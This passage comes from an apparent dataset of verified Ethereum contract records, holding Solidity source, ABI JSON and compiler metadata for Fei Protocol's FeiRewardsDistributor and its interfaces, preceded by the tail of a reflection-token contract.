return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | Default | None | false | ipfs://f8e0ac474dccfde5def33829880278fb35d61327c40c65a145f69c084e6bfc3d |
|||
FeiRewardsDistributor | ./contracts/staking/FeiRewardsDistributor.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../refs/CoreRef.sol";
import "../utils/Timed.sol";
import "./IRewardsDistributor.sol";
import "../external/Decimal.sol";
import { Math } from "@openzeppelin/contracts/math/Math.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
/// @title Distributor for TRIBE rewards to the staking contract
/// @author Fei Protocol
/// @notice distributes TRIBE over time at a linearly decreasing rate
contract FeiRewardsDistributor is IRewardsDistributor, CoreRef, Timed {
using SafeMath for uint256;
using Decimal for Decimal.D256;
uint256 public override distributedRewards;
IStakingRewards public override stakingContract;
uint256 public override lastDistributionTime;
uint256 public override dripFrequency;
uint256 public override incentiveAmount;
constructor(
address _core,
address _stakingContract,
uint256 _duration,
uint256 _frequency,
uint256 _incentiveAmount
) public
CoreRef(_core)
Timed(_duration)
{
require(_duration >= _frequency, "FeiRewardsDistributor: frequency exceeds duration");
stakingContract = IStakingRewards(_stakingContract);
dripFrequency = _frequency;
incentiveAmount = _incentiveAmount;
// solhint-disable-next-line not-rely-on-time
lastDistributionTime = block.timestamp;
_initTimed();
}
/// @notice sends the unlocked amount of TRIBE to the stakingRewards contract
/// @return amount of TRIBE sent
function drip() public override postGenesis whenNotPaused nonContract returns(uint256) {
require(isDripAvailable(), "FeiRewardsDistributor: Not passed drip frequency");
// solhint-disable-next-line not-rely-on-time
lastDistributionTime = block.timestamp;
uint amount = releasedReward();
require(amount != 0, "FeiRewardsDistributor: no rewards");
distributedRewards = distributedRewards.add(amount);
tribe().transfer(address(stakingContract), amount);
stakingContract.notifyRewardAmount(amount);
_incentivize();
emit Drip(msg.sender, amount);
return amount;
}
/// @notice sends tokens back to governance treasury. Only callable by governance
/// @param amount the amount of tokens to send back to treasury
function governorWithdrawTribe(uint256 amount) external override onlyGovernor {
tribe().transfer(address(core()), amount);
emit TribeWithdraw(amount);
}
/// @notice sends tokens back to governance treasury. Only callable by governance
/// @param amount the amount of tokens to send back to treasury
function governorRecover(address tokenAddress, address to, uint256 amount) external override onlyGovernor {
stakingContract.recoverERC20(tokenAddress, to, amount);
}
/// @notice sets the drip frequency
function setDripFrequency(uint256 _frequency) external override onlyGovernor {
dripFrequency = _frequency;
emit FrequencyUpdate(_frequency);
}
/// @notice sets the incentive amount for calling drip
function setIncentiveAmount(uint256 _incentiveAmount) external override onlyGovernor {
incentiveAmount = _incentiveAmount;
emit IncentiveUpdate(_incentiveAmount);
}
/// @notice sets the staking contract to send TRIBE rewards to
function setStakingContract(address _stakingContract) external override onlyGovernor {
stakingContract = IStakingRewards(_stakingContract);
emit StakingContractUpdate(_stakingContract);
}
/// @notice returns the block timestamp when drip will next be available
function nextDripAvailable() public view override returns (uint256) {
return lastDistributionTime.add(dripFrequency);
}
/// @notice return true if the dripFrequency has passed since the last drip
function isDripAvailable() public view override returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp >= nextDripAvailable();
}
/// @notice the total amount of rewards owned by contract and unlocked for release
function releasedReward() public view override returns (uint256) {
uint256 total = rewardBalance();
uint256 unreleased = unreleasedReward();
return total.sub(unreleased, "Pool: Released Reward underflow");
}
/// @notice the total amount of rewards distributed by the contract over entire period
function totalReward() public view override returns (uint256) {
return rewardBalance().add(distributedRewards);
}
/// @notice the total balance of rewards owned by contract, locked or unlocked
function rewardBalance() public view override returns (uint256) {
return tribeBalance();
}
/// @notice the total amount of rewards owned by contract and locked
function unreleasedReward() public view override returns (uint256) {
if (isTimeEnded()) {
return 0;
}
return
_unreleasedReward(
totalReward(),
duration,
timeSinceStart()
);
}
// Represents the integral of 2R/d - 2R/d^2 x dx from t to d
// Integral equals 2Rx/d - Rx^2/d^2
// Evaluated at t = 2R*t/d (start) - R*t^2/d^2 (end)
// Evaluated at d = 2R - R = R
// Solution = R - (start - end) or equivalently end + R - start (latter more convenient to code)
function _unreleasedReward(
uint256 _totalReward,
uint256 _duration,
uint256 _time
) internal pure returns (uint256) {
// 2R*t/d
Decimal.D256 memory start =
Decimal.ratio(_totalReward, _duration).mul(2).mul(_time);
// R*t^2/d^2
Decimal.D256 memory end =
Decimal.ratio(_totalReward, _duration).div(_duration).mul(
_time * _time
);
return end.add(_totalReward).sub(start).asUint256();
}
function _incentivize() internal ifMinterSelf {
fei().mint(msg.sender, incentiveAmount);
}
} | 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||
FeiRewardsDistributor | ./contracts/core/ICore.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IPermissions.sol";
import "../token/IFei.sol";
/// @title Core Interface
/// @author Fei Protocol
interface ICore is IPermissions {
// ----------- Events -----------
event FeiUpdate(address indexed _fei);
event TribeUpdate(address indexed _tribe);
event GenesisGroupUpdate(address indexed _genesisGroup);
event TribeAllocation(address indexed _to, uint256 _amount);
event GenesisPeriodComplete(uint256 _timestamp);
// ----------- Governor only state changing api -----------
function init() external;
// ----------- Governor only state changing api -----------
function setFei(address token) external;
function setTribe(address token) external;
function setGenesisGroup(address _genesisGroup) external;
function allocateTribe(address to, uint256 amount) external;
// ----------- Genesis Group only state changing api -----------
function completeGenesisGroup() external;
// ----------- Getters -----------
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
function genesisGroup() external view returns (address);
function hasGenesisGroupCompleted() external view returns (bool);
} | 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||
FeiRewardsDistributor | ./contracts/core/IPermissions.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Permissions interface
/// @author Fei Protocol
interface IPermissions {
// ----------- Governor only state changing api -----------
function createRole(bytes32 role, bytes32 adminRole) external;
function grantMinter(address minter) external;
function grantBurner(address burner) external;
function grantPCVController(address pcvController) external;
function grantGovernor(address governor) external;
function grantGuardian(address guardian) external;
function revokeMinter(address minter) external;
function revokeBurner(address burner) external;
function revokePCVController(address pcvController) external;
function revokeGovernor(address governor) external;
function revokeGuardian(address guardian) external;
// ----------- Revoker only state changing api -----------
function revokeOverride(bytes32 role, address account) external;
// ----------- Getters -----------
function isBurner(address _address) external view returns (bool);
function isMinter(address _address) external view returns (bool);
function isGovernor(address _address) external view returns (bool);
function isGuardian(address _address) external view returns (bool);
function isPCVController(address _address) external view returns (bool);
} | [{"inputs":[{"internalType":"address","name":"_core","type":"address"},{"internalType":"address","name":"_stakingContract","type":"address"},{"internalType":"uint256","name":"_duration","type":"uint256"},{"internalType":"uint256","name":"_frequency","type":"uint256"},{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_core","type":"address"}],"name":"CoreUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_caller","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Drip","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_duration","type":"uint256"}],"name":"DurationUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"FrequencyUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"IncentiveUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_stakingContract","type":"address"}],"name":"StakingContractUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_startTime","type":"uint256"}],"name":"TimerReset","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"TribeWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"core","outputs":[{"internalType":"contract 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IFei","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feiBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorRecover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorWithdrawTribe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"incentiveAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isDripAvailable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastDistributionTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextDripAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainingTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"core","type":"address"}],"name":"setCore","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"setDripFrequency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"setIncentiveAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_stakingContract","type":"address"}],"name":"setStakingContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakingContract","outputs":[{"internalType":"contract IStakingRewards","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timeSinceStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribe","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unreleasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.6+commit.6c089d02 | true | 200 | 0000000000000000000000008d5ed43dca8c2f7dfb20cf7b53cc7e593635d7b900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c267000000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000001b1ae4d6e2ef500000 | Default | Unknown | false | ipfs://e692bda55bd61f4be2f53e09ffb0c49a89afc857497254a0b486233140457e78 |
||
FeiRewardsDistributor | ./contracts/staking/IRewardsDistributor.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IStakingRewards.sol";
/// @title Rewards Distributor interface
/// @author Fei Protocol
interface IRewardsDistributor {
// ----------- Events -----------
event Drip(
address indexed _caller,
uint256 _amount
);
event TribeWithdraw(
uint256 _amount
);
event FrequencyUpdate(
uint256 _frequency
);
event IncentiveUpdate(
uint256 _incentiveAmount
);
event StakingContractUpdate(
address _stakingContract
);
// ----------- State changing API -----------
function drip() external returns (uint256);
// ----------- Governor-only changing API -----------
function governorWithdrawTribe(uint256 amount) external;
function governorRecover(address tokenAddress, address to, uint256 amount) external;
function setDripFrequency(uint256 _frequency) external;
function setIncentiveAmount(uint256 _incentiveAmount) external;
function setStakingContract(address _stakingRewards) external;
// ----------- Getters -----------
function totalReward() external view returns (uint256);
function releasedReward() external view returns (uint256);
function unreleasedReward() external view returns (uint256);
function rewardBalance() external view returns (uint256);
function distributedRewards() external view returns (uint256);
function stakingContract() external view returns (IStakingRewards);
function lastDistributionTime() external view returns (uint256);
function isDripAvailable() external view returns (bool);
function nextDripAvailable() external view returns (uint256);
function dripFrequency() external view returns (uint256);
function incentiveAmount() external view returns (uint256);
} | [{"inputs":[{"internalType":"address","name":"_core","type":"address"},{"internalType":"address","name":"_stakingContract","type":"address"},{"internalType":"uint256","name":"_duration","type":"uint256"},{"internalType":"uint256","name":"_frequency","type":"uint256"},{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_core","type":"address"}],"name":"CoreUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_caller","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Drip","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_duration","type":"uint256"}],"name":"DurationUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"FrequencyUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"IncentiveUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_stakingContract","type":"address"}],"name":"StakingContractUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_startTime","type":"uint256"}],"name":"TimerReset","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"TribeWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"core","outputs":[{"internalType":"contract ICore","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributedRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"drip","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dripFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"duration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fei","outputs":[{"internalType":"contract IFei","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feiBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorRecover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorWithdrawTribe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"incentiveAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isDripAvailable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastDistributionTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextDripAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainingTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"core","type":"address"}],"name":"setCore","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"setDripFrequency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"setIncentiveAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_stakingContract","type":"address"}],"name":"setStakingContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakingContract","outputs":[{"internalType":"contract IStakingRewards","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timeSinceStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribe","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unreleasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.6+commit.6c089d02 | true | 200 | 0000000000000000000000008d5ed43dca8c2f7dfb20cf7b53cc7e593635d7b900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c267000000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000001b1ae4d6e2ef500000 | Default | Unknown | false | ipfs://e692bda55bd61f4be2f53e09ffb0c49a89afc857497254a0b486233140457e78 |
||
FeiRewardsDistributor | ./contracts/staking/IStakingRewards.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IStakingRewards {
// ----------- Getters -----------
function rewardsToken() external view returns(IERC20);
function stakingToken() external view returns(IERC20);
function periodFinish() external view returns(uint256);
function rewardRate() external view returns(uint256);
function rewardsDuration() external view returns(uint256);
function lastUpdateTime() external view returns(uint256);
function rewardPerTokenStored() external view returns(uint256);
function userRewardPerTokenPaid(address account) external view returns(uint256);
function rewards(address account) external view returns(uint256);
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function lastTimeRewardApplicable() external view returns(uint256);
function rewardPerToken() external view returns(uint256);
function earned(address account) external view returns(uint256);
function getRewardForDuration() external view returns(uint256);
// ----------- State changing API -----------
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
// ----------- Rewards Distributor-Only State changing API -----------
function notifyRewardAmount(uint256 reward) external;
function recoverERC20(address tokenAddress, address to, uint256 tokenAmount) external;
} | [{"inputs":[{"internalType":"address","name":"_core","type":"address"},{"internalType":"address","name":"_stakingContract","type":"address"},{"internalType":"uint256","name":"_duration","type":"uint256"},{"internalType":"uint256","name":"_frequency","type":"uint256"},{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_core","type":"address"}],"name":"CoreUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_caller","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Drip","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_duration","type":"uint256"}],"name":"DurationUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"FrequencyUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"IncentiveUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_stakingContract","type":"address"}],"name":"StakingContractUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_startTime","type":"uint256"}],"name":"TimerReset","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"TribeWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"core","outputs":[{"internalType":"contract ICore","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributedRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"drip","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dripFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"duration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fei","outputs":[{"internalType":"contract IFei","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feiBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorRecover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"governorWithdrawTribe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"incentiveAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isDripAvailable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTimeStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastDistributionTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextDripAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainingTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardBalance","outputs":[{"internalType":"ui